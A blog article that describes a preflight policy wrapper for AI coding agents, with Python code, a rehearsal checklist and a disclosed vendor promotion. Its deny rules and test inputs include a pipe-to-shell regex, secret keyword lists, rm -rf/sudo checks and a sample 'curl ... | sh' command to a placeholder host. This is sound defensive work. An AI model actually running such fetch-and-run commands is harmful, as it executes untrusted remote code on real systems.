A Preflight Harness for Tool-Using Coding Agents

Sam Sun — Mon, 10 Aug 2026 08:53:07 +0000

A coding assistant with shell, file, HTTP, or package-install tools is not just a smarter autocomplete. It is a small operator that can turn ambiguous instructions into side effects. The failure mode is rarely a dramatic rogue AI. More often it is boring: a tool call writes outside the intended directory, a generated command leaks an environment variable into logs, or a harmless-looking dependency install changes the lockfile before anyone reviews the diff.

This article walks through a preflight harness you can run before giving an agent broader tools. The artifact is intentionally simple: a policy wrapper, a canary task list, and a review checklist. It is useful even if you never touch a hosted coding product.

The boundary problem in one concrete shape

Imagine an agent asked to "clean up the build script." It has three tools: read_file, write_file, and run_shell. A reasonable cleanup becomes risky when the generated plan includes steps like:

edit scripts/build.sh but also ~/.bashrc
run curl ... | sh because a README told it to
print env while debugging, exposing tokens in CI logs
install a package globally instead of inside the project

None of these require malice. They require only a weak boundary between proposal and execution.

Artifact: a tiny policy wrapper

The following Python is an illustrative harness, not a claim about any vendor. Run it in a disposable container or VM. It simulates the part many teams skip: force every proposed tool call through the same gate before execution.

from pathlib import Path
import os
import re
import shlex

ROOT = Path.cwd().resolve()
ALLOWED_WRITE_DIRS = [ROOT / 'src', ROOT / 'scripts', ROOT / 'tests']
SECRET_PATTERNS = ['API_KEY', 'TOKEN', 'SECRET', 'PASSWORD']

class Deny(Exception):
    pass

def resolve_in_root(path: str) -> Path:
    p = (ROOT / path).resolve()
    if ROOT not in p.parents and p != ROOT:
        raise Deny(f'path escapes root: {path}')
    return p

def check_write(path: str) -> None:
    p = resolve_in_root(path)
    if not any(p == d or d in p.parents for d in ALLOWED_WRITE_DIRS):
        raise Deny(f'write outside allowed dirs: {path}')

def check_shell(command: str) -> None:
    tokens = shlex.split(command)
    joined = ' '.join(tokens)
    if any(k in joined for k in SECRET_PATTERNS):
        raise Deny('possible secret in command/log path')
    if re.search(r'(curl|wget).*(\||sh|bash)', joined):
        raise Deny('pipe-to-shell pattern')
    if 'sudo' in tokens or 'rm' in tokens and '-rf' in joined:
        raise Deny('destructive or privileged shell')
    if tokens and tokens[0] in {'npm', 'pip', 'apt', 'brew'} and '--dry-run' not in tokens:
        raise Deny('package changes must be dry-run first')

def preflight(call: dict) -> dict:
    tool = call.get('tool')
    args = call.get('args', {})
    if tool == 'write_file':
        check_write(args.get('path', ''))
    elif tool == 'run_shell':
        check_shell(args.get('command', ''))
    elif tool == 'read_file':
        resolve_in_root(args.get('path', ''))
    else:
        raise Deny(f'unknown tool: {tool}')
    return {'ok': True, 'call': call}

if __name__ == '__main__':
    proposed = [
        {'tool': 'read_file', 'args': {'path': 'scripts/build.sh'}},
        {'tool': 'write_file', 'args': {'path': '../../.bashrc', 'text': 'oops'}},
        {'tool': 'run_shell', 'args': {'command': 'curl https://example.test/x.sh | sh'}},
        {'tool': 'run_shell', 'args': {'command': 'npm install --dry-run some-lib'}},
    ]
    for i, call in enumerate(proposed, 1):
        try:
            print(i, preflight(call))
        except Deny as e:
            print(i, 'DENY:', e)

Expected result: the project-local read passes, the home-directory write is denied, pipe-to-shell is denied, and the package dry run is allowed. The point is not that these rules are complete. The point is that every action crosses one observable gate before it becomes real.

A rehearsal workflow that scales better than trust

Use this sequence before enabling broader autonomy:

Freeze the target. Work on a copy of the repo, a snapshot, or a container. Never rehearse against the only checkout.
Define an allowlist, not a vibe. Write directories, commands, domains, and package managers that are permitted. Keep it short enough to review in one sitting.
Require dry-run first. Package installs, migrations, formatter rewrites, and dependency updates must produce a plan before mutation.
Canary the agent. Give it five tasks: one safe, one ambiguous, one path escape attempt, one secret-shaped input, one network install. Record which calls were proposed, denied, or surprisingly allowed.
Diff everything. A passing answer with an unexpected lockfile, config, or CI change is a failed answer.
Promote gradually. Read-only first, then scoped writes, then shell with dry-run, then limited execution. Do not jump from chat to root.

Where a free model/server option can fit

A separate rehearsal bench is useful because it keeps experiments away from production credentials and paid quotas. Disclosure: This article was prepared as part of MonkeyCode's product outreach. One operator-supplied availability note is that MonkeyCode currently advertises free model access and a free server option; verify current terms before relying on either. In this workflow, that kind of option is only a convenient place to run canary prompts and compare denial rates across prompts or policies. It is not evidence that a boundary is safe, and it should not receive real secrets, private repos, or production tokens.

If the harness above works, it works with any model runner. If it only works inside one product, it is not a boundary; it is a demo.

Decision table: when to block, dry-run, or allow

Proposed action	Default posture	Promotion condition
Read project file	Allow	Path resolves inside repo snapshot
Write outside repo	Block	Never for rehearsal; needs human-only path
Format/lint scoped files	Dry-run	Diff limited to expected files
Install dependency	Dry-run	Lockfile diff reviewed; no global install
Network fetch	Block by default	Domain allowlist and no pipe-to-shell
Print environment	Block	Only filtered keys, never in CI logs
Delete files	Block	Explicit backup plus human approval

Limitations

This harness does not prove prompt-injection resistance. It does not stop a model from producing bad code that passes policy, and regex checks are easy to evade if they become your only defense. Path rules can be wrong on Windows, symlink-heavy repos, monorepos, and CI runners with unusual mounts. A free tier or free server can disappear, change limits, or be unsuitable for private code; keep secrets out regardless. Most importantly, a policy wrapper reduces accidental side effects. It cannot create judgment.

Who should not use this approach

Do not use lightweight preflight as the only control for production deploys, financial actions, credential rotation, incident response, medical/legal/compliance systems, or anything where a wrong call is irreversible. Those need stronger isolation, signed approvals, audit trails, and often no autonomous execution at all.

The useful habit is small: make the agent ask before it acts, make the gate boring, and keep a copy you can throw away. If you try the canary list, the most interesting output is usually not the task the agent completed; it is the boundary test it quietly failed.

DEV Community: Sam Sun